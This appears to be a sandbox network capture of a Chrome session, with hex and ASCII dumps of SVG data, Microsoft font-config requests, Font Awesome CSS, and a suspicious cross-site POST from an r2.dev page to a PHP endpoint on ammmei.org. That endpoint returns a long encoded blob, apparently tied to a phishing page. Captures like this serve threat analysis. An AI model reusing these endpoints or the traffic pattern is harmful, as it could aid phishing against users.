2024-05-24 05:45:23 UTC	1369	IN	Data Raw: 33 35 33 20 39 35 2e 39 36 31 31 20 36 38 2e 36 38 36 38 20 39 34 2e 30 34 34 35 43 35 39 2e 30 33 38 34 20 39 32 2e 31 32 37 38 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 36 2e 31 37 36 20 31 31 31 2e 39 35 33 43 31 33 36 2e 31 37 36 20 31 31 33 2e 32 38 31 20 31 33 36 2e 37 30 34 20 31 31 34 2e 35 35 35 20 31 33 37 2e 36 34 33 20 31 31 35 2e 34 39 34 43 31 33 38 2e 35 38 32 20 31 31 36 2e 34 33 33 20 31 33 39 2e 38 35 36 20 31 31 36 2e 39 36 31 20 31 34 31 2e 31 38 34 20 31 Data Ascii: 353 95.9611 68.6868 94.0445C59.0384 92.1278 56.0777 105.406 56.0777 105.406Z" fill="#0055DC" /> <path d="M136.176 111.953C136.176 113.281 136.704 114.555 137.643 115.494C138.582 116.433 139.856 116.961 141.184 1
2024-05-24 05:45:23 UTC	1369	IN	Data Raw: 37 30 31 20 31 31 31 2e 32 39 35 20 31 31 39 2e 37 30 31 20 31 31 31 2e 39 35 33 56 31 31 31 2e 39 35 33 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 33 38 34 20 31 31 31 2e 39 35 33 43 31 30 33 2e 33 38 34 20 31 31 32 2e 36 31 32 20 31 30 33 2e 35 31 33 20 31 31 33 2e 32 36 34 20 31 30 33 2e 37 36 36 20 31 31 33 2e 38 37 32 43 31 30 34 2e 30 31 38 20 31 31 34 2e 34 38 20 31 30 34 2e 33 38 37 20 31 31 35 2e 30 33 32 20 31 30 34 2e 38 35 33 20 31 31 35 2e 34 39 37 43 31 30 35 2e 33 31 39 20 31 31 35 2e 39 36 32 20 31 30 35 2e 38 37 32 20 31 31 36 2e 33 33 31 20 31 30 Data Ascii: 701 111.295 119.701 111.953V111.953Z" fill="#0055DC" /> <path d="M103.384 111.953C103.384 112.612 103.513 113.264 103.766 113.872C104.018 114.48 104.387 115.032 104.853 115.497C105.319 115.962 105.872 116.331 10
2024-05-24 05:45:23 UTC	1369	IN	Data Raw: 34 37 38 20 34 35 2e 30 36 32 37 20 31 34 34 2e 35 38 39 20 34 38 2e 39 35 31 36 20 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 38 2e 38 32 31 20 34 38 2e 39 35 31 36 43 31 30 34 2e 30 32 34 20 34 38 2e 39 35 31 36 20 31 30 30 2e 31 33 35 20 34 35 2e 30 36 32 Data Ascii: 478 45.0627 144.589 48.9516 139.792 48.9516Z" fill="white" stroke="#0055DC" stroke-width="2" stroke-miterlimit="10" /> <path d="M108.821 48.9516C104.024 48.9516 100.135 45.062
2024-05-24 05:45:23 UTC	1369	IN	Data Raw: 2e 36 35 36 20 33 36 2e 35 34 37 34 20 31 31 32 2e 35 38 36 20 33 36 2e 31 30 35 32 20 31 31 31 2e 34 37 32 20 33 36 2e 31 30 35 32 43 31 31 30 2e 33 35 38 20 33 36 2e 31 30 37 33 20 31 30 39 2e 32 39 31 20 33 36 2e 35 35 30 36 20 31 30 38 2e 35 30 34 20 33 37 2e 33 33 37 38 43 31 30 37 2e 37 31 37 20 33 38 2e 31 32 35 20 31 30 37 2e 32 37 34 20 33 39 2e 31 39 32 31 20 31 30 37 2e 32 37 31 20 34 30 2e 33 30 35 35 56 34 30 2e 33 30 35 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 36 45 43 43 45 35 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 38 34 2e 38 39 31 38 20 31 32 37 2e 35 38 31 48 31 36 34 2e 39 36 37 43 31 37 33 2e 33 34 35 20 31 Data Ascii: .656 36.5474 112.586 36.1052 111.472 36.1052C110.358 36.1073 109.291 36.5506 108.504 37.3378C107.717 38.125 107.274 39.1921 107.271 40.3055V40.3055Z" fill="#6ECCE5" /> <path d="M84.8918 127.581H164.967C173.345 1
2024-05-24 05:45:23 UTC	1369	IN	Data Raw: 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 20 73 74 79 6c 65 3d 22 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 20 6d 75 6c 74 69 70 6c 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 30 37 34 20 31 34 32 2e 38 33 31 43 31 30 33 2e 30 33 38 20 31 34 35 2e 33 39 35 20 31 30 34 2e 30 32 31 20 31 34 37 2e 38 36 39 20 31 30 35 2e 38 30 38 20 31 34 39 2e 37 30 39 43 31 30 37 2e 35 39 35 20 31 35 31 2e 35 34 39 20 31 31 30 2e 30 33 39 20 31 35 32 2e 36 30 33 20 31 31 32 2e 36 30 34 20 31 35 32 2e 36 Data Ascii: 1Z" fill="#C5EBF5" /> </g> <g style="mix-blend-mode: multiply"> <path d="M103.074 142.831C103.038 145.395 104.021 147.869 105.808 149.709C107.595 151.549 110.039 152.603 112.604 152.6
2024-05-24 05:45:23 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 39 2e 38 35 32 20 37 35 2e 36 33 35 48 31 33 34 2e 39 33 34 56 37 39 2e 37 33 37 39 48 31 32 39 2e 38 35 32 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 2e 30 38 37 20 38 37 2e 30 31 34 31 48 31 34 32 2e 31 37 37 56 39 31 2e 31 30 38 39 48 31 33 37 2e 30 38 37 56 38 37 2e 30 31 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 Data Ascii: /> <path d="M129.852 75.635H134.934V79.7379H129.852V75.635Z" fill="#0055DC" /> <path d="M137.087 87.0141H142.177V91.1089H137.087V87.0141Z" fill="#0055DC" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49743	132.148.128.8	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:23 UTC	704	OUT	POST /wysaa/host2.4/a9c32bc.php HTTP/1.1 Host: ammmei.org Connection: keep-alive Content-Length: 16 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:23 UTC	16	OUT	Data Raw: 73 63 74 65 3d 26 61 75 74 6f 3d 66 61 6c 73 65 Data Ascii: scte=&auto=false
2024-05-24 05:45:24 UTC	468	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:23 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Set-Cookie: PHPSESSID=a826cb35d0620d910fc9cd43495a7efa; path=/ Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-05-24 05:45:24 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 54 56 6c 68 4e 55 35 54 62 6e 6c 6f 4f 46 52 4a 4d 30 70 70 52 6d 4a 55 62 69 74 5a 65 44 63 77 52 48 46 61 61 58 42 30 57 57 45 77 56 6b 4a 46 52 54 4a 34 64 47 78 4a 5a 48 70 69 52 47 4a 42 52 6c 4a 54 51 57 6c 6f 4e 33 52 4c 62 54 52 6d 65 57 39 6d 55 45 64 70 51 30 46 52 64 33 5a 58 53 6a 4e 4d 57 6b 74 58 57 58 64 55 59 6b 68 75 64 44 52 35 55 46 70 51 54 58 56 48 65 45 78 4b 52 31 42 76 4e 33 42 58 54 57 31 51 5a 44 41 78 65 6e 4e 55 5a 46 5a 42 63 46 52 4c 65 54 46 50 4c 32 46 53 54 55 4a 57 63 6e 4e 52 4d 54 6c 4f 64 54 46 33 57 47 5a 53 52 6e 64 54 4e 30 4e 6e 56 32 55 77 59 57 56 4d 64 6c 52 53 54 48 64 75 59 55 35 48 63 44 5a 77 61 7a 49 76 62 32 4e 59 4d 48 5a 71 52 30 78 61 59 6c 6b 72 61 32 5a 32 64 7a 5a 48 51 31 6c 43 5a Data Ascii: 1f40TVlhNU5TbnloOFRJM0ppRmJUbitZeDcwRHFaaXB0WWEwVkJFRTJ4dGxJZHpiRGJBRlJTQWloN3RLbTRmeW9mUEdpQ0FRd3ZXSjNMWktXWXdUYkhudDR5UFpQTXVHeExKR1BvN3BXTW1QZDAxenNUZFZBcFRLeTFPL2FSTUJWcnNRMTlOdTF3WGZSRndTN0NnV2UwYWVMdlRSTHduYU5HcDZwazIvb2NYMHZqR0xaYlkra2Z2dzZHQ1lCZ
2024-05-24 05:45:24 UTC	7822	IN	Data Raw: 46 5a 5a 45 6f 77 59 58 4a 45 57 57 64 73 62 31 46 4f 59 57 52 48 53 7a 41 76 4d 6d 6c 5a 5a 69 73 31 51 6b 6c 50 4f 44 4e 33 62 48 55 77 4e 32 64 57 4b 33 6c 52 4e 6d 56 6e 57 56 42 4f 5a 54 68 57 62 6d 5a 6f 52 30 31 4a 5a 58 46 33 4e 79 74 4a 4e 48 4d 33 4e 55 64 43 4d 6c 5a 70 56 55 55 32 4f 58 6f 76 53 58 41 34 61 7a 4a 4d 64 44 6c 4d 4d 6d 46 4d 51 6b 46 34 4e 58 4a 45 4e 48 6c 75 61 6c 56 78 56 45 30 77 53 33 4a 35 4e 56 4a 75 57 55 6c 75 5a 6c 4e 69 4e 6c 5a 78 52 47 46 42 4e 55 70 71 54 48 6b 7a 61 57 38 7a 51 6c 52 35 57 55 35 4c 5a 46 64 6e 4d 7a 41 32 52 56 6c 6f 61 55 59 79 4b 30 74 52 65 45 56 6f 63 46 70 74 53 6e 70 31 65 57 4a 78 4b 30 64 6c 55 54 64 45 65 6d 70 78 4e 7a 5a 4e 4e 47 5a 48 64 58 4a 79 53 58 70 48 65 48 59 76 4b 30 70 43 5a Data Ascii: FZZEowYXJEWWdsb1FOYWRHSzAvMmlZZis1QklPODN3bHUwN2dWK3lRNmVnWVBOZThWbmZoR01JZXF3NytJNHM3NUdCMlZpVUU2OXovSXA4azJMdDlMMmFMQkF4NXJENHlualVxVE0wS3J5NVJuWUluZlNiNlZxRGFBNUpqTHkzaW8zQlR5WU5LZFdnMzA2RVloaUYyK0tReEVocFptSnp1eWJxK0dlUTdEempxNzZNNGZHdXJySXpHeHYvK0pCZ
2024-05-24 05:45:24 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-24 05:45:24 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 4d 48 52 7a 4e 48 56 43 4d 46 6c 73 5a 6b 4a 4a 64 6c 59 33 56 30 52 61 54 58 46 57 61 56 59 34 4d 57 67 31 4f 56 56 6e 52 6c 67 35 53 57 5a 68 61 6c 59 35 62 55 68 73 53 31 56 71 57 45 39 35 4e 47 6b 31 52 79 39 52 4f 45 4a 43 5a 46 52 5a 54 57 6f 72 53 6e 4a 71 65 48 68 46 52 55 4d 76 55 55 74 77 61 6e 46 52 59 57 31 47 51 58 68 74 5a 45 73 34 5a 55 31 6b 4f 56 41 7a 62 6c 6b 79 64 57 74 6e 5a 58 4e 42 51 30 68 53 4e 32 70 77 64 6b 46 5a 59 54 4e 46 4f 58 56 76 5a 31 42 69 54 31 56 74 63 54 6c 77 4d 6e 5a 56 4c 30 68 30 5a 46 42 6e 5a 6e 46 53 54 56 42 71 55 44 49 78 63 48 4d 30 65 57 68 71 56 58 5a 43 4d 47 31 45 62 33 4a 33 56 47 6c 77 57 57 31 71 54 45 4a 54 5a 6e 46 42 65 55 4e 77 53 79 39 75 55 54 63 79 52 6c 51 32 63 45 35 75 57 Data Ascii: 1f40MHRzNHVCMFlsZkJJdlY3V0RaTXFWaVY4MWg1OVVnRlg5SWZhalY5bUhsS1VqWE95NGk1Ry9ROEJCZFRZTWorSnJqeHhFRUMvUUtwanFRYW1GQXhtZEs4ZU1kOVAzblkydWtnZXNBQ0hSN2pwdkFZYTNFOXVvZ1BiT1VtcTlwMnZVL0h0ZFBnZnFSTVBqUDIxcHM0eWhqVXZCMG1Eb3J3VGlwWW1qTEJTZnFBeUNwSy9uUTcyRlQ2cE5uW
2024-05-24 05:45:24 UTC	7822	IN	Data Raw: 4e 6b 62 54 6c 69 4b 31 46 43 63 44 4e 48 57 44 52 51 4c 33 46 6f 64 46 64 71 62 6a 42 52 65 58 42 6b 61 7a 4e 35 64 6a 4e 45 54 47 31 48 4c 31 46 61 56 6c 64 5a 52 47 52 48 62 33 56 46 4f 56 4a 47 62 30 46 56 59 31 5a 36 59 57 63 32 56 57 70 33 59 54 42 6d 55 33 4d 79 5a 56 4a 36 57 48 56 78 53 30 64 35 56 6e 6c 30 63 6c 59 72 55 45 31 7a 4f 45 52 34 4e 31 64 36 56 32 39 74 55 57 35 49 53 45 30 33 55 48 6c 42 4d 32 6c 75 4e 58 70 54 63 56 45 33 51 6e 68 70 62 58 52 69 51 6d 55 78 4f 45 70 46 56 55 45 31 56 7a 42 6a 64 44 46 70 4e 46 46 6d 57 6c 45 30 56 7a 41 34 53 31 68 61 57 57 6c 71 56 53 74 68 4e 30 6c 42 51 6c 64 32 52 57 67 78 5a 54 6c 6a 57 57 4a 52 4f 43 74 4d 65 47 6b 79 65 48 5a 53 57 6e 68 61 63 47 74 4b 63 45 78 71 63 55 59 33 57 47 52 78 52 Data Ascii: NkbTliK1FCcDNHWDRQL3FodFdqbjBReXBkazN5djNETG1HL1FaVldZRGRHb3VFOVJGb0FVY1Z6YWc2VWp3YTBmU3MyZVJ6WHVxS0d5Vnl0clYrUE1zOER4N1d6V29tUW5ISE03UHlBM2luNXpTcVE3QnhpbXRiQmUxOEpFVUE1VzBjdDFpNFFmWlE0VzA4S1haWWlqVSthN0lBQld2RWgxZTljWWJROCtMeGkyeHZSWnhacGtKcExqcUY3WGRxR
2024-05-24 05:45:24 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-24 05:45:24 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 55 30 31 48 63 7a 5a 34 57 55 6b 34 64 6d 4a 52 56 30 4e 78 5a 30 6c 61 61 48 51 31 53 32 78 78 4f 46 52 78 61 54 5a 49 62 6b 35 5a 61 32 52 45 56 47 4e 4c 65 6c 4e 61 55 6e 46 35 64 47 6c 47 4d 58 4a 71 64 55 39 70 53 7a 56 79 54 6b 31 77 63 53 74 4e 65 6e 5a 78 54 46 59 30 52 47 39 4a 4d 69 74 69 5a 30 78 53 61 6d 63 32 52 54 4a 77 51 6c 4a 34 52 32 74 59 65 58 52 35 4f 55 31 6a 56 33 46 47 57 44 6c 44 56 57 52 7a 5a 6d 30 77 65 6c 55 34 54 55 39 42 4f 54 4a 47 4c 30 38 30 55 55 67 31 4d 58 68 43 61 44 64 34 56 58 4a 44 55 47 4a 4c 65 58 63 77 4f 45 78 4e 63 6a 59 31 56 31 70 50 56 47 39 71 61 45 56 78 65 57 67 30 53 47 6c 31 54 6e 4e 34 51 6d 31 35 4b 32 5a 31 5a 46 56 6b 63 47 77 77 57 57 6f 34 54 48 4e 75 4d 6a 68 48 52 46 4a 6a 63 Data Ascii: 1f40U01HczZ4WUk4dmJRV0NxZ0laaHQ1S2xxOFRxaTZIbk5Za2REVGNLelNaUnF5dGlGMXJqdU9pSzVyTk1wcStNenZxTFY0RG9JMitiZ0xSamc2RTJwQlJ4R2tYeXR5OU1jV3FGWDlDVWRzZm0welU4TU9BOTJGL080UUg1MXhCaDd4VXJDUGJLeXcwOExNcjY1V1pPVG9qaEVxeWg0SGl1TnN4Qm15K2Z1ZFVkcGwwWWo4THNuMjhHRFJjc
2024-05-24 05:45:24 UTC	7822	IN	Data Raw: 6c 77 61 33 52 7a 63 58 5a 46 61 7a 46 75 52 31 6c 78 61 32 4e 4c 64 6b 51 30 55 56 46 46 55 30 74 53 4d 32 78 4f 59 32 70 78 55 57 35 77 56 48 68 72 59 6c 4e 61 4d 47 4e 57 62 58 6b 35 5a 32 5a 54 62 54 41 30 65 45 56 48 4d 55 52 34 5a 6b 78 4c 55 32 6f 35 62 32 59 30 57 58 64 4c 55 57 46 4a 62 44 5a 32 61 56 70 55 53 31 68 72 59 6d 45 78 4e 6d 35 57 61 54 64 35 4d 44 4a 50 64 31 6f 76 65 55 74 48 64 6c 4e 31 63 6e 42 4c 57 46 68 6d 52 45 74 54 4d 6c 42 43 51 32 39 69 55 44 68 61 54 57 4e 4b 4e 6e 4a 46 64 31 55 78 62 7a 49 35 64 58 49 7a 53 55 46 77 56 44 52 72 4e 6d 64 6f 59 7a 68 70 55 7a 63 34 4f 44 64 6e 61 6c 52 59 56 58 68 33 4d 55 68 43 54 48 4a 68 63 6b 39 51 53 45 34 79 55 45 64 6b 4e 46 4a 53 65 46 42 55 61 6a 42 35 4e 54 59 78 4f 55 64 59 54 Data Ascii: lwa3RzcXZFazFuR1lxa2NLdkQ0UVFFU0tSM2xOY2pxUW5wVHhrYlNaMGNWbXk5Z2ZTbTA0eEVHMUR4ZkxLU2o5b2Y0WXdLUWFJbDZ2aVpUS1hrYmExNm5WaTd5MDJPd1oveUtHdlN1cnBLWFhmREtTMlBCQ29iUDhaTWNKNnJFd1UxbzI5dXIzSUFwVDRrNmdoYzhpUzc4ODdnalRYVXh3MUhCTHJhck9QSE4yUEdkNFJSeFBUajB5NTYxOUdYT
2024-05-24 05:45:24 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49744	23.43.61.160	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:24 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-24 05:45:24 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=210291 Date: Fri, 24 May 2024 05:45:24 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	23.43.61.160	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:25 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-24 05:45:25 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=210136 Date: Fri, 24 May 2024 05:45:25 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-24 05:45:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	104.17.24.14	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:25 UTC	668	OUT	GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:25 UTC	950	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:45:25 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e5f-9226" Last-Modified: Mon, 04 May 2020 16:10:07 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 646908 Expires: Wed, 14 May 2025 05:45:25 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=auuPVAywEe8YThRG6EmWayxxik6ryaLit%2BFyynTp%2BTZScWpAUezhegBEUROyoBNJCMxHzLKHb%2B7Pz1wu2UOM4HX%2F48CE%2FlEJ3aLxI8J5hM3tVEfb58L%2BqjHMXJS1tM7p9LMgVgzp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 888afac06b7680da-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 05:45:25 UTC	419	IN	Data Raw: 37 39 61 38 0d 0a 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 37 2e 30 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2f 2a 20 46 4f 4e 54 20 50 41 54 48 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 41 77 65 73 Data Ascii: 79a8/! Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) // FONT PATH * -------------------------- */@font-face { font-family: 'FontAwes
2024-05-24 05:45:25 UTC	1369	IN	Data Raw: 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 32 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 74 74 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 73 76 67 3f 76 3d 34 2e 37 2e 30 23 66 6f 6e 74 61 77 65 73 6f 6d 65 72 65 67 75 6c 61 72 27 29 Data Ascii: ts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular')
2024-05-24 05:45:25 UTC	1369	IN	Data Raw: 74 3a 20 2e 33 65 6d 3b 0a 7d 0a 2f 2a 20 44 65 70 72 65 63 61 74 65 64 20 61 73 20 6f 66 20 34 2e 34 2e 30 20 2a 2f 0a 2e 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 70 75 6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 66 61 2e 70 75 6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 2e 33 65 6d 3b 0a 7d 0a 2e 66 61 2e 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2e 33 65 6d 3b 0a 7d 0a 2e 66 61 2d 73 70 69 6e 20 7b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 66 61 2d 73 70 69 6e 20 32 73 20 69 6e 66 69 6e 69 74 65 20 6c 69 6e 65 61 72 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 Data Ascii: t: .3em;}/* Deprecated as of 4.4.0 */.pull-right { float: right;}.pull-left { float: left;}.fa.pull-left { margin-right: .3em;}.fa.pull-right { margin-left: .3em;}.fa-spin { -webkit-animation: fa-spin 2s infinite linear; animation:
